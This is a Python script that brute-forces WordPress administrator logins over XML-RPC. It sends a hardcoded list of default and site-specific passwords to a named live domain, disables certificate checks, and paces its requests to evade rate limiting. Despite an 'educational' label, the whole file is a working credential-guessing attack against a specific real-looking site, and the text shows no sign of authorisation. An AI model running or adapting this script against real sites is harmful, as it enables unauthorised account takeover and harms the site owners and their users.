xmlrpc_bruteforce.py

#!/usr/bin/env python3
"""
XML-RPC Brute Force Attack - Educational Purpose Only
"""

import requests
import xml.etree.ElementTree as ET
import time
import sys

# Common WordPress credentials
credentials = [
    ("admin", "admin"),
    ("admin", "password"),
    ("admin", "123456"),
    ("admin", "azalai"),
    ("azalai", "azalai"),
    ("admin", "admin123"),
    ("administrator", "password"),
    ("wpadmin", "wpadmin"),
    ("root", "root"),
    ("test", "test")
]

def test_xmlrpc_login(url, username, password):
    """Test credentials via XML-RPC"""
    xml_payload = f"""<?xml version="1.0"?>
<methodCall>
    <methodName>wp.getUsersBlogs</methodName>
    <params>
        <param><value>{username}</value></param>
        <param><value>{password}</value></param>
    </params>
</methodCall>"""
    
    try:
        response = requests.post(url, data=xml_payload, timeout=10, verify=False)
        
        if "faultCode" not in response.text and "isAdmin" in response.text:
            return True, response.text[:200]
        elif "faultCode 403" in response.text:
            return False, "Rate limited/blocked"
        else:
            return False, "Invalid credentials"
            
    except Exception as e:
        return False, f"Error: {str(e)}"

def main():
    target = "https://secure-azalai.azalai.com/www/xmlrpc.php"
    
    print("🔥 XML-RPC Brute Force Attack - Educational Lab")
    print("=" * 50)
    print(f"Target: {target}")
    print(f"Credentials to test: {len(credentials)}")
    print()
    
    for username, password in credentials:
        print(f"Testing: {username}:{password}", end=" ")
        
        success, result = test_xmlrpc_login(target, username, password)
        
        if success:
            print(f"✅ SUCCESS!")
            print(f"Response: {result}")
            print(f"VALID CREDENTIALS: {username}:{password}")
            return
        else:
            print(f"❌ {result}")
        
        time.sleep(1)  # Avoid rate limiting
    
    print("\n❌ No valid credentials found")

if __name__ == "__main__":
    main()